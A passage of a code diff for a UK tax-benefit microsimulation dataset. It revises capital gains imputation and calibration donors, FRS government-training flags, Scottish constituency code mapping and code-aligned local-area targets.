a/policyengine_uk_data/datasets/create_datasets.py +++ b/policyengine_uk_data/datasets/create_datasets.py @@ -106,10 +106,10 @@ def main(): "Impute VAT", "Impute public service usage", "Impute income", - "Impute capital gains", "Impute salary sacrifice", "Impute student loan plan", "Assign Pension Credit take-up", + "Impute capital gains", "Clone and assign OA geography", "Calibrate constituency weights", "Calibrate local authority weights", @@ -189,18 +189,6 @@ def main(): frs = impute_income(frs) update_dataset("Impute income", "completed") - update_dataset("Impute capital gains", "processing") - frs = impute_capital_gains(frs) - # Zero-weight donors for the HMRC size-of-gain bands the spline - # cannot reach; weighted (or not) by calibration via the - # per-band targets in targets/sources/hmrc_cgt.py. - from policyengine_uk_data.datasets.imputations.capital_gains import ( - stack_cgt_band_donors, - ) - - frs = stack_cgt_band_donors(frs) - update_dataset("Impute capital gains", "completed") - update_dataset("Impute salary sacrifice", "processing") frs = impute_salary_sacrifice(frs) update_dataset("Impute salary sacrifice", "completed") @@ -224,6 +212,25 @@ def main(): ) update_dataset("Assign Pension Credit take-up", "completed") + # Capital gains come last of the imputations. They stack a second + # record for each household with gains and give the copies of + # zero-weight (SPI) households a weight, so that the calibration + # starts from the right share of each. Running last, the copies + # match their originals in everything but the gain, and the + # steps above, which count people on survey weights, never see + # them. + update_dataset("Impute capital gains", "processing") + frs = impute_capital_gains(frs) + # Donors for the HMRC size-of-gain bands the spline cannot + # reach; weighted by calibration via the per-band targets in + # targets/sources/hmrc_cgt.py. + from policyengine_uk_data.datasets.imputations.capital_gains import ( + stack_cgt_band_donors, + ) + + frs = stack_cgt_band_donors(frs) + update_dataset("Impute capital gains", "completed") + # Clone households and assign OA geography update_dataset("Clone and assign OA geography", "processing") from policyengine_uk_data.calibration.clone_and_assign import ( @@ -264,6 +271,9 @@ def main(): from policyengine_uk_data.datasets.local_areas.constituencies.calibrate import ( get_performance, ) + from policyengine_uk_data.targets.sources.hmrc_cgt import ( + band_count_target_names, + ) # Run calibration with verbose progress frs_calibrated_constituencies = calibrate_local_areas( @@ -281,6 +291,7 @@ def main(): get_performance=get_performance, nested_progress=nested_progress, # Pass the nested progress manager time_period=frs_release.calibration_year, + prior_rake_targets=band_count_target_names(), ) update_dataset("Calibrate constituency weights", "completed") @@ -308,6 +319,7 @@ def main(): get_performance=get_la_performance, nested_progress=nested_progress, # Pass the nested progress manager time_period=frs_release.calibration_year, + prior_rake_targets=band_count_target_names(), ) update_dataset("Calibrate local authority weights", "completed") diff --git a/policyengine_uk_data/datasets/frs.py b/policyengine_uk_data/datasets/frs.py index 711127b51..ddd002606 100644 --- a/policyengine_uk_data/datasets/frs.py +++ b/policyengine_uk_data/datasets/frs.py @@ -112,8 +112,11 @@ "UPPER_SECONDARY", "POST_SECONDARY", ) -# FRS government-training question variants use 10 or 13 for "None of these". -FRS_APPROVED_TRAINING_CODES = tuple(range(1, 10)) +# FRS TRAINEE, "Whether on a government scheme for employment training". It +# shares the FRS dictionary's value format with EDUCFT, where 1 is yes; in each +# of FRS 2020-21, 2022-23, 2023-24 and 2024-25 the child-table records aged 16 +# to 19 outside full-time education are exactly the child-table records with 1. +FRS_TRAINEE_YES = 1 UNKNOWN_QUALIFYING_EDUCATION_OR_TRAINING_ENTRY_AGE = 1000 # FRS RENTPROF: whether ROYYR1 is a profit (1) or a loss (2). FRS_RENTPROF_LOSS = 2 @@ -366,14 +369,34 @@ def derive_is_in_non_advanced_education( def derive_is_in_approved_training_from_frs_person( person: pd.DataFrame, + adult_person_ids, ) -> pd.Series: - """Identify reported government training scheme participation in FRS.""" - - if "train" not in person.columns: - return pd.Series(False, index=person.index) + """Identify FRS dependants in unwaged government training. + + The FRS counts a 16- to 19-year-old as a dependent child when they are in + full-time non-advanced education or unwaged government training. In each + of FRS 2020-21, 2022-23, 2023-24 and 2024-25, every child-table record + aged 16 to 19 outside full-time education carries TRAINEE = 1. + + Leaving adult-table records out is a proxy. The FRS has already decided + they are not dependants, and their TRAINEE answer does not say the training + is unwaged, so it may be training under a contract of employment, which is + not approved training (UC Regulations 2013, reg. 5(3)). TRAIN2 names the + scheme but only the adult table has it. + + The build fails when TRAINEE is missing rather than marking nobody as in + training: an earlier version read TRAIN2's question name, ``train``, which + is not a column, so every record was coded as not in training. + """ - train = pd.to_numeric(person.train, errors="coerce").fillna(0) - return train.isin(FRS_APPROVED_TRAINING_CODES) + if "trainee" not in person.columns: + raise KeyError( + "The FRS person table has no TRAINEE column, so approved training " + "cannot be derived." + ) + is_trainee = pd.to_numeric(person.trainee, errors="coerce").eq(FRS_TRAINEE_YES) + is_adult_record = person.person_id.isin(np.asarray(adult_person_ids)) + return is_trainee & ~is_adult_record def derive_age_started_or_accepted_current_education_or_training( @@ -1055,7 +1078,7 @@ def determine_education_level(fted_val, typeed2_val, age_val): pe_person.current_education ) pe_person["is_in_approved_training"] = ( - derive_is_in_approved_training_from_frs_person(person) + derive_is_in_approved_training_from_frs_person(person, frs["adult"].person_id) ) pe_person["age_started_or_accepted_current_education_or_training"] = ( derive_age_started_or_accepted_current_education_or_training( diff --git a/policyengine_uk_data/datasets/imputations/capital_gains.py b/policyengine_uk_data/datasets/imputations/capital_gains.py index a7271d7ca..f313fca83 100644 --- a/policyengine_uk_data/datasets/imputations/capital_gains.py +++ b/policyengine_uk_data/datasets/imputations/capital_gains.py @@ -1,16 +1,15 @@ -import pandas as pd +import logging + import numpy as np -from policyengine_uk_data.utils.stack import stack_datasets +import pandas as pd +from policyengine_uk.data import UKSingleYearDataset # Fit a spline to each income band's percentiles from scipy.interpolate import UnivariateSpline from policyengine_uk_data.storage import STORAGE_FOLDER - -import torch -from torch.optim import Adam -from policyengine_uk.data import UKSingleYearDataset -import logging +from policyengine_uk_data.targets.sources.hmrc_cgt import load_size_bands +from policyengine_uk_data.utils.stack import stack_datasets capital_gains = pd.read_csv( STORAGE_FOLDER / "capital_gains_distribution_advani_summers.csv.gz" @@ -22,226 +21,264 @@ # Silence verbose logging logging.getLogger("root").setLevel(logging.WARNING) - -def impute_cg_to_doubled_dataset( - dataset: UKSingleYearDataset, -) -> tuple[np.ndarray, np.ndarray]: - """Assumes that the capital gains distribution is the same for all years.""" - +# --- Has-gains twins -------------------------------------------------------- +# +# Advani & Summers give, for each band of total income, the share of people +# with gains and the percentiles of those gains. Each household's first adult +# draws a gain from their band's distribution. Where that gain is one HMRC's +# statistics describe (above the lowest size-of-gain band limit, the annual +# exempt amount), the household is stacked a second time as a "has-gains +# twin" carrying the gain, and the household's mass is split between the two +# records using the table's incidence propensity adjusted for assignment +# to first adults. Rejecting draws at or under the limit lowers realised +# incidence. Calibration then moves weight between a household and its twin, +# pulled by the HMRC targets in targets/sources/hmrc_cgt.py, without +# disturbing any other target. +# +# Draws at or under that limit, including the net losses in the table's +# lower percentiles, get no twin. HMRC publishes liable taxpayers only, so +# no target describes those people, and a record no target describes takes +# whatever weight suits the other targets: the 1.58.0 build ended with 1.4m +# people holding £15bn of losses, and 0.4m with gains under the exempt +# amount. +# +# The original and twin carry complementary household_calibration_prior +# values into calibration. Survey weights are also split; zero-weight +# originals stay at zero and their twins receive prior-equivalent weights. +# These weights must not be used to regenerate the already split priors. +# Twins of zero-weight rows used to +# keep a zero weight, and so received a full zero-weight prior each, the same +# as their no-gains originals. The calibration therefore started with half +# of the SPI rows' mass holding gains: 6.4m CGT taxpayers and £365bn of gains +# against targets of 378,000 and £68bn. + + +def _first_adult_incomes(dataset: UKSingleYearDataset) -> tuple[np.ndarray, np.ndarray]: + """Each person's total income, and whether they are their household's + first adult.""" from policyengine_uk import Microsimulation sim = Microsimulation(dataset=dataset) - ti = sim.calculate("total_income").values - household_weight = sim.calculate("household_weight").values - first_half = ( - np.concatenate( - [ - np.ones(len(household_weight) // 2), - np.zeros(len(household_weight) // 2), - ] - ) - > 0 + return ( + sim.calculate("total_income").values, + sim.calculate("adult_index").values == 1, ) - # Give capital gains to one adult aged 15+ in each household - adult_index = sim.calculate("adult_index").values == 1 - in_person_second_half = np.zeros(len(ti)) > 0 - in_person_second_half[len(ti) // 2 :] = True - has_cg = np.zeros(len(ti)) > 0 - has_cg[adult_index & in_person_second_half] = True - blend_factor = torch.tensor( - np.zeros(first_half.sum()), requires_grad=True, dtype=torch.float32 - ) - household_weight = torch.tensor(household_weight, dtype=torch.float32) - sigmoid = torch.nn.Sigmoid() - def loss(blend_factor): - loss = 0 - blended_household_weight = household_weight.clone() - adjusted_blend_factor = sigmoid(blend_factor) - blended_household_weight[first_half] = ( - adjusted_blend_factor * blended_household_weight[first_half] +def _income_band(total_income: np.ndarray) -> np.ndarray: + """Row of the Advani & Summers table for each income (-1 below the first).""" + return ( + np.searchsorted( + capital_gains.minimum_total_income.values, total_income, side="right" ) - blended_household_weight[~first_half] = ( - 1 - adjusted_blend_factor - ) * blended_household_weight[first_half] - for i in range(len(capital_gains)): - lower = capital_gains.minimum_total_income.iloc[i] - upper = capital_gains.maximum_total_income.iloc[i] - true_pct_with_gains = capital_gains.percent_with_gains.iloc[i] - - ti_in_range = (ti >= lower) * (ti < upper) - cg_in_income_range = has_cg * ti_in_range - household_ti_in_range_count = torch.tensor( - sim.map_result(ti_in_range, "person", "household", how="sum") - ) - household_cg_in_income_range_count = torch.tensor( - sim.map_result(cg_in_income_range, "person", "household", how="sum") - ) - pred_ti_in_range = ( - blended_household_weight * household_ti_in_range_count - ).sum() - pred_cg_in_income_range = ( - blended_household_weight * household_cg_in_income_range_count - ).sum() - pred_pct_with_gains = pred_cg_in_income_range / torch.clip( - pred_ti_in_range, 1 - ) - loss += (pred_pct_with_gains - true_pct_with_gains) ** 2 - - return loss - - optimiser = Adam([blend_factor], lr=1e-1) - progress = range(100) - logging.info("Splitting household weights into has-gains and no-gains") - for i in progress: - optimiser.zero_grad() - loss_value = loss(blend_factor) - loss_value.backward() - optimiser.step() - if loss_value.item() < 1e-3: - break - - new_household_weight = household_weight.detach().numpy() - original_household_weight = new_household_weight.copy() - blend_factor = sigmoid(blend_factor).detach().numpy() - new_household_weight[first_half] = ( - blend_factor * original_household_weight[first_half] + - 1 ) - new_household_weight[~first_half] = (1 - blend_factor) * original_household_weight[ - first_half - ] - # Impute actual capital gains amounts given gains - new_cg = np.zeros(len(ti)) - logging.info("Imputing capital gains among those with gains") +def _households(dataset: UKSingleYearDataset, household_ids) -> UKSingleYearDataset: + """A copy of the households with these ids, in the dataset's order.""" + person = dataset.person[dataset.person.person_household_id.isin(household_ids)] + return UKSingleYearDataset( + person=person.reset_index(drop=True).copy(), + benunit=dataset.benunit[ + dataset.benunit.benunit_id.isin(person.person_benunit_id) + ] + .reset_index(drop=True) + .copy(), + household=dataset.household[dataset.household.household_id.isin(household_ids)] + .reset_index(drop=True) + .copy(), + fiscal_year=dataset.time_period, + ) + + +def draw_gains(income_band: np.ndarray, gainer: np.ndarray) -> np.ndarray: + """Draw a gain for each gainer from their income band's distribution. + + Assumes that the capital gains distribution is the same for all years. + """ + gains = np.zeros(len(income_band)) # Draw imputation quantiles from a seeded generator so the build is # reproducible: an unseeded global np.random made capital gains (and hence # CGT revenue) differ between otherwise identical builds. cg_rng = np.random.default_rng(0) - for i in range(len(capital_gains)): - row = capital_gains.iloc[i] + for i, row in enumerate(capital_gains.itertuples()): spline = UnivariateSpline( [0.05, 0.1, 0.25, 0.5, 0.75, 0.90, 0.95], [row.p05, row.p10, row.p25, row.p50, row.p75, row.p90, row.p95], k=1, ) - lower = row.minimum_total_income - upper = row.maximum_total_income - ti_in_range = (ti >= lower) * (ti < upper) - in_target_range = has_cg * ti_in_range > 0 - quantiles = cg_rng.random(int(in_target_range.sum())) - pred_capital_gains = spline(quantiles) - new_cg[in_target_range] = pred_capital_gains - - return new_cg, new_household_weight + in_band = gainer & (income_band == i) + gains[in_band] = spline(cg_rng.random(int(in_band.sum()))) + + return gains + + +def has_gains_shares( + income_band: np.ndarray, first_adult: np.ndarray, person_weight: np.ndarray +) -> np.ndarray: + """Twin propensity among first adults, before rejecting small gains. + + The table gives the share of all people in a band with gains, but only + first adults are given gains, so the share among them is the table's + share times the band's people per first adult. + Rejecting draws at or under the HMRC band limit lowers realised incidence. + """ + n_bands = len(capital_gains) + in_table = income_band >= 0 + people = np.bincount( + income_band[in_table], weights=person_weight[in_table], minlength=n_bands + ) + gainers = in_table & first_adult + first_adults = np.bincount( + income_band[gainers], weights=person_weight[gainers], minlength=n_bands + ) + share = np.divide( + capital_gains.percent_with_gains.values * people, + first_adults, + out=np.zeros(n_bands), + where=first_adults > 0, + ) + if (share >= 1).any(): + raise ValueError( + "An income band has too few first adults to hold its share of " + "people with gains." + ) + return share def impute_capital_gains(dataset: UKSingleYearDataset) -> UKSingleYearDataset: - dataset = dataset.copy() - dataset.household["household_is_capital_gains_clone"] = False - zero_weight_copy = dataset.copy() - zero_weight_copy.household.household_weight = 1 - zero_weight_copy.household["household_is_capital_gains_clone"] = True - data = stack_datasets( - dataset, - zero_weight_copy, + """Stack a has-gains twin for each household whose first adult draws a + gain above the lowest HMRC size-of-gain band limit.""" + from policyengine_uk_data.utils.calibrate import ( + initialize_weight_priors, + prior_equivalent_weights, ) - pred_cg, household_weight = impute_cg_to_doubled_dataset(data) + dataset = dataset.copy() + total_income, first_adult = _first_adult_incomes(dataset) + household_of_person = pd.Index(dataset.household.household_id).get_indexer( + dataset.person.person_household_id + ) + weight = dataset.household.household_weight.to_numpy(dtype=float) + priors = initialize_weight_priors( + weight, prior_weights=dataset.household.get("household_calibration_prior") + ) - data.person["capital_gains"] = pred_cg - data.household["household_weight"] = household_weight + income_band = _income_band(total_income) + gains = draw_gains(income_band, first_adult) + share = has_gains_shares(income_band, first_adult, weight[household_of_person]) + + gainer = first_adult & (gains > load_size_bands().lower_limit.min()) + twin_weight = np.zeros(len(weight)) + twin_weight[household_of_person[gainer]] = share[income_band[gainer]] + twin_prior = priors * twin_weight + twin_weight *= prior_equivalent_weights(weight) + has_twin = twin_weight > 0 + + logging.info("Stacking %s has-gains twins", int(has_twin.sum())) + twin = _households(dataset, dataset.household.household_id[has_twin]) + twin.person["capital_gains"] = gains[has_twin[household_of_person]] + twin.household["household_weight"] = twin_weight[has_twin] + twin.household["household_calibration_prior"] = twin_prior[has_twin] + twin.household["household_is_capital_gains_clone"] = True + + dataset.person["capital_gains"] = 0.0 + dataset.household["household_weight"] = np.where( + weight > 0, weight - twin_weight, 0.0 + ) + dataset.household["household_is_capital_gains_clone"] = False + dataset.household["household_calibration_prior"] = priors - twin_prior + data = stack_datasets(dataset, twin) data.validate() return data # --- HMRC size-band donor stack ------------------------------------------ # -# The Advani & Summers spline stops at each income band's p95, so the -# imputation above cannot produce the large gains HMRC observes: in the -# built data no individual gain exceeds ~£2m, while HMRC attributes ~61% of -# all chargeable gains to gains of £1m or more (Capital Gains Tax -# statistics, Table 2.1a). Calibration cannot fix that on its own — there -# are no records carrying large gains for it to upweight. +# The Advani & Summers spline stops at each income band's p95, so the twins +# above cannot carry the large gains HMRC observes: no drawn gain exceeds +# ~£2m, and fewer than a hundred exceed £500,000, while HMRC attributes +# three quarters of individuals' chargeable gains in 2024-25 to gains of +# £500,000 or more (Capital Gains Tax statistics, Table 2.1a). Calibration +# cannot fix that on its own — there are too few records carrying large +# gains for it to upweight. # # Following the SPI synthetic-household precedent in income.py, we stack a -# small set of donor households, one group per HMRC size-of-gain band, each -# carrying that band's published mean gain. Calibration then adjusts how -# much weight each band's donors receive, pulled by the per-band HMRC -# targets in targets/sources/hmrc_cgt.py. +# small set of donor households for each HMRC size-of-gain band from +# £500,000 up, each carrying that band's published mean gain. Calibration +# then adjusts how much weight each band's donors receive, pulled by the +# per-band HMRC targets in targets/sources/hmrc_cgt.py. # -# Donors enter at the weight that already reproduces the published band — +# The bands below £500,000 need no donors: the twins give each of them +# hundreds or thousands of records. Donors there duplicated the twins. In +# the 1.58.0 build, which stacked donors from £12,300 up, the donors of the +# four bands from £12,300 to £250,000 ended with under 1% of the weight they +# entered with. +# +# Donors enter at the weight that reproduces the published band — # band taxpayer count / DONORS_PER_BAND — NOT at zero. Zero-weight rows are # given an equal share of prior mass by calibrate.initialize_weight_priors # (the SPI mechanism), which for donors carrying multi-million-pound gains # injected ~£2.3trn of initial gains in a CI build and left calibration -# 18x over the band targets. On-target initial weights make the band -# estimates start at the published values, so calibration only fine-tunes. +# 18x over the band targets. Whatever the donors and twins of a band weigh +# together, calibration starts with the band's taxpayer count on its target +# (calibrate.rake_priors_to_targets). # # Donor households are sampled with probability proportional to # percent_with_gains at their first adult's total income (the same Advani & # Summers table used above), so large gains land on the income profiles # most likely to realise gains rather than on uniformly random households. -HMRC_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv" -# Few, heavy donors rather than many light ones: the L0-regularised -# calibration pays a gate penalty per active record, so a band represented -# by 300 rows of weight ~7 is far more expensive to keep than 30 rows of -# weight ~67 carrying the same band total. The first full build with 300 -# donors/band shrank donor weight ~8x and left the top bands 94-97% under -# target; fewer gates make satisfying the band targets cheap for the -# optimiser while donors still spread across income profiles. +# Few, heavy donors rather than many light ones: the first full build with +# 300 donors per band left the £2m+ bands 94-97% under target, and failed +# the built-dataset tests. DONORS_PER_BAND = 30 _DONOR_SEED = 1 -# HMRC's rows below £12,300 mix AEA regimes and are definitionally -# incomplete (see the CSV header note); the spline body already covers -# gains of that size, so donors start at the £12,300 band. -_MIN_DONOR_BAND_LOWER = 12_300 +_MIN_DONOR_BAND_LOWER = 500_000 def load_hmrc_size_bands() -> pd.DataFrame: - """HMRC Table 2.1a size-of-gain bands used for donors and targets.""" - bands = pd.read_csv(STORAGE_FOLDER / HMRC_SIZE_BANDS_FILE, comment="#") - bands = bands[bands.lower_limit >= _MIN_DONOR_BAND_LOWER].reset_index(drop=True) - bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf) + """HMRC Table 2.1a size-of-gain bands, with each band's mean gain.""" + bands = load_size_bands() bands["taxpayers"] = bands.taxpayers_thousands * 1e3 bands["gains"] = bands.gains_gbp_millions * 1e6 bands["mean_gain"] = bands.gains / bands.taxpayers return bands +def load_donor_bands() -> pd.DataFrame: + """The bands whose records are donors.""" + bands = load_hmrc_size_bands() + return bands[bands.lower_limit >= _MIN_DONOR_BAND_LOWER].reset_index(drop=True) + + def stack_cgt_band_donors(dataset: UKSingleYearDataset) -> UKSingleYearDataset: """Stack donor households carrying HMRC band mean gains at band-exact initial weights.""" - from policyengine_uk import Microsimulation - dataset = dataset.copy() dataset.household["household_is_cgt_band_donor"] = False if "capital_gains" not in dataset.person.columns: dataset.person["capital_gains"] = 0.0 - bands = load_hmrc_size_bands() + bands = load_donor_bands() rng = np.random.default_rng(_DONOR_SEED) - sim = Microsimulation(dataset=dataset) - ti = sim.calculate("total_income").values - first_adult = sim.calculate("adult_index").values == 1 + total_income, first_adult = _first_adult_incomes(dataset) + # A has-gains twin is the same household as its original, so only the + # original is a candidate. + if "household_is_capital_gains_clone" in dataset.household.columns: + twins = dataset.household.household_id[ + dataset.household.household_is_capital_gains_clone.astype(bool) + ] + first_adult &= ~dataset.person.person_household_id.isin(twins).values fa_household_id = dataset.person.person_household_id.values[first_adult] - fa_income = ti[first_adult] - income_band = ( - np.searchsorted( - capital_gains.minimum_total_income.values, fa_income, side="right" - ) - - 1 - ) propensity = capital_gains.percent_with_gains.values[ - np.clip(income_band, 0, len(capital_gains) - 1) + np.clip(_income_band(total_income[first_adult]), 0, len(capital_gains) - 1) ] n_donors = DONORS_PER_BAND * len(bands) @@ -268,42 +305,27 @@ def stack_cgt_band_donors(dataset: UKSingleYearDataset) -> UKSingleYearDataset: ) ) - person_filter = dataset.person.person_household_id.isin(selected) - donor_person = dataset.person[person_filter].reset_index(drop=True).copy() - donor_benunit = ( - dataset.benunit[dataset.benunit.benunit_id.isin(donor_person.person_benunit_id)] - .reset_index(drop=True) - .copy() - ) - donor_household = ( - dataset.household[dataset.household.household_id.isin(selected)] - .reset_index(drop=True) - .copy() + donor = _households(dataset, selected) + donor.household["household_weight"] = ( + donor.household.household_id.map(weight_of_household).fillna(0.0).values ) - - donor_household["household_weight"] = ( - donor_household.household_id.map(weight_of_household).fillna(0.0).values - ) - donor_household["household_is_cgt_band_donor"] = True + donor.household["household_is_cgt_band_donor"] = True + if "household_calibration_prior" in dataset.household: + # Donors add their published band mass, not the copied source prior. + donor.household["household_calibration_prior"] = donor.household[ + "household_weight" + ] # The band mean gain goes to each donor household's first adult; # everyone else in the household carries no gain, mirroring the # one-gainer-per-household convention of the imputation above. - donor_first_adult = first_adult[person_filter.values] - donor_person["capital_gains"] = 0.0 - donor_gains = ( - donor_person.person_household_id.map(band_of_household).fillna(0.0).values - ) - donor_person.loc[donor_first_adult, "capital_gains"] = donor_gains[ - donor_first_adult + donor_first_adult = first_adult[ + dataset.person.person_household_id.isin(selected).values ] - - donor = UKSingleYearDataset( - person=donor_person, - benunit=donor_benunit, - household=donor_household, - fiscal_year=dataset.time_period, + donor_gains = ( + donor.person.person_household_id.map(band_of_household).fillna(0.0).values ) + donor.person["capital_gains"] = np.where(donor_first_adult, donor_gains, 0.0) data = stack_datasets(dataset, donor) data.validate() diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py b/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py index 457133881..27bd965c9 100644 --- a/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py +++ b/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py @@ -5,6 +5,19 @@ # 1. Read the boundary change data into a DataFrame df = pd.read_csv(Path(__file__).parent / "boundary_changes.csv") +# Five unchanged Scottish constituencies retain their 2010 codes in the +# boundary-change source. Use their 2024 codes from constituencies_2024.csv +# so the mapped rows can be joined to the other 2024 targets by code. +df["code_2024"] = df["code_2024"].replace( + { + "S14000006": "S14000107", # Ayr, Carrick and Cumnock + "S14000008": "S14000108", # Berwickshire, Roxburgh and Selkirk + "S14000010": "S14000109", # Central Ayrshire + "S14000040": "S14000110", # Kilmarnock and Loudoun + "S14000058": "S14000111", # West Aberdeenshire and Kincardine + } +) + # 2. Get unique constituency codes for 2010 and 2024, sorted alphabetically old_codes = sorted(df["code_2010"].unique()) new_codes = sorted(df["code_2024"].unique()) diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py index 2e35d3928..0120574a6 100644 --- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py +++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py @@ -7,6 +7,7 @@ create_target_matrix as create_national_target_matrix, ) from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets.sources.hmrc_cgt import band_count_target_names from policyengine_uk.data import UKSingleYearDataset diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py index 1fb55f13a..745739766 100644 --- a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py +++ b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py @@ -18,6 +18,8 @@ from policyengine_uk_data.storage import STORAGE_FOLDER from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import ( mapping_matrix, + old_codes, + new_codes, ) from policyengine_uk_data.targets.sources.local_age import ( get_constituency_age_targets, @@ -49,10 +51,14 @@ def create_constituency_target_matrix( sim.default_calculation_period = time_period matrix = pd.DataFrame() - y = pd.DataFrame() + age_targets = get_constituency_age_targets() + y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code")) # ── Income targets ───────────────────────────────────────────── incomes = get_constituency_income_targets() + assert incomes["code"].equals(age_targets["code"]), ( + "Income and age code order differs" + ) national_incomes = get_national_income_projections(int(time_period)) for income_variable in INCOME_VARIABLES: @@ -78,7 +84,6 @@ def create_constituency_target_matrix( ) # ── Age targets ──────────────────────────────────────────────── - age_targets = get_constituency_age_targets() uk_total_population = get_uk_total_population(int(time_period)) age = sim.calculate("age").values @@ -97,7 +102,6 @@ def create_constituency_target_matrix( y[col] *= uk_total_population / targets_total_pop * 0.9 # ── UC targets ───────────────────────────────────────────────── - y["uc_households"] = get_constituency_uc_targets().values on_uc = (sim.calculate("universal_credit").values > 0).astype(int) matrix["uc_households"] = sim.map_result(on_uc, "benunit", "household") @@ -113,10 +117,6 @@ def create_constituency_target_matrix( matrix["uc_hh_2_children"] = (on_uc_hh & (children_per_hh == 2)).astype(float) matrix["uc_hh_3plus_children"] = (on_uc_hh & (children_per_hh >= 3)).astype(float) - uc_by_children = get_constituency_uc_by_children_targets() - for col in uc_by_children.columns: - y[col] = uc_by_children[col].values - # ── Wales/Scotland housing anchors ─────────────────────────────── add_private_rent_targets( matrix, @@ -130,15 +130,28 @@ def create_constituency_target_matrix( # ── Boundary mapping (2010 → 2024) ──────────────────────────── const_2024 = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv") - y_columns = list(y.columns) - y_values = mapping_matrix @ y.values - y = pd.DataFrame(y_values, columns=y_columns) + # The mapping's columns and rows are sorted by 2010 and 2024 codes, + # respectively; neither order should be inferred from a target CSV. + y = pd.DataFrame( + mapping_matrix @ y.loc[old_codes].to_numpy(), + index=pd.Index(new_codes, name="code"), + columns=y.columns, + ) + + # UC is already on 2024 boundaries, so attach it only after mapping + # the older income, age and housing targets. + y = y.loc[const_2024["code"]] + y["uc_households"] = get_constituency_uc_targets().loc[y.index] + uc_by_children = get_constituency_uc_by_children_targets().loc[y.index] + for col in uc_by_children.columns: + y[col] = uc_by_children[col] + y = y.loc[:, matrix.columns] country_mask = create_country_mask( household_countries=sim.calculate("country").values, codes=const_2024.code, ) - return matrix, y, country_mask + return matrix, y.reset_index(drop=True), country_mask def create_country_mask( diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py index 3d4fb655c..665b0cfb1 100644 --- a/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py +++ b/policyengine_uk_data/datasets/local_areas/local_authorities/calibrate.py @@ -7,6 +7,7 @@ create_target_matrix as create_national_target_matrix, ) from policyengine_uk_data.storage import STORAGE_FOLDER +from policyengine_uk_data.targets.sources.hmrc_cgt import band_count_target_names from policyengine_uk.data import UKSingleYearDataset diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py index d2455e22f..38abd4d01 100644 --- a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py +++ b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py @@ -58,15 +58,23 @@ def create_local_authority_target_matrix( time_period = dataset.time_period la_codes = pd.read_csv(STORAGE_FOLDER / "local_authorities_2021.csv") + age_targets = get_la_age_targets() + if not pd.Index(age_targets["code"]).equals(pd.Index(la_codes["code"])): + raise ValueError( + "LA age targets and local authority codes must have the same order" + ) sim = Microsimulation(dataset=dataset, reform=reform) sim.default_calculation_period = time_period matrix = pd.DataFrame() - y = pd.DataFrame() + y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code")) # ── Income targets ───────────────────────────────────────────── incomes = get_la_income_targets() + assert incomes["code"].equals(age_targets["code"]), ( + "Income and age code order differs" + ) national_incomes = get_national_income_projections(int(time_period)) for income_variable in INCOME_VARIABLES: @@ -92,7 +100,6 @@ def create_local_authority_target_matrix( ) # ── Age targets ──────────────────────────────────────────────── - age_targets = get_la_age_targets() uk_total_population = get_uk_total_population(int(time_period)) age = sim.calculate("age").values @@ -110,7 +117,7 @@ def create_local_authority_target_matrix( y[col] *= uk_total_population / targets_total_pop * 0.9 # ── UC targets ───────────────────────────────────────────────── - y["uc_households"] = get_la_uc_targets().values + y["uc_households"] = get_la_uc_targets().loc[y.index] matrix["uc_households"] = sim.map_result( (sim.calculate("universal_credit").values > 0).astype(int), "benunit", @@ -305,7 +312,7 @@ def create_local_authority_target_matrix( codes=la_codes.code, ) - return matrix, y, country_mask + return matrix, y.reset_index(drop=True), country_mask def create_country_mask( diff --git a/policyengine_uk_data/db/etl.py b/policyengine_uk_data/db/etl.py index 84303a6ae..3b4ab578a 100644 --- a/policyengine_uk_data/db/etl.py +++ b/policyengine_uk_data/db/etl.py @@ -429,21 +429,19 @@ def _load_local_uc_targets(session: Session) -> int: from policyengine_uk_data.utils import uc_data - df = getattr(uc_data, loader_attr) + df = getattr(uc_data, loader_attr).set_index("code", verify_integrity=True) if level == "constituency": codes_df = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv") else: codes_df = pd.read_csv(STORAGE_FOLDER / "local_authorities_2021.csv") - for i, hh_count in enumerate(df.household_count.values): - if i >= len(codes_df): - break - code = codes_df.iloc[i]["code"] - area_name = codes_df.iloc[i].get("name", "") + areas = codes_df.set_index("code", verify_integrity=True) + for code, hh_count in df["household_count"].items(): + area_name = areas.loc[code, "name"] value = float(hh_count) - if np.isnan(value): - continue + if not np.isfinite(value): + raise ValueError(f"Non-finite UC household target for {code}") target_name = f"dwp/{level}/{code}/uc_households" _insert_target( session, diff --git a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv index 804b8669b..11ccf6027 100644 --- a/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv +++ b/policyengine_uk_data/storage/capital_gains_size_distribution_hmrc.csv @@ -1,11 +1,11 @@ # HMRC Capital Gains Tax statistics, Table 2.1a: estimated number of taxpayers, # amounts of gains and tax liabilities by size of gain, for individuals, -# 2023 to 2024 tax year (provisional). +# 2024 to 2025 tax year (provisional). # # Collection: https://www.gov.uk/government/statistics/capital-gains-tax-statistics -# File: 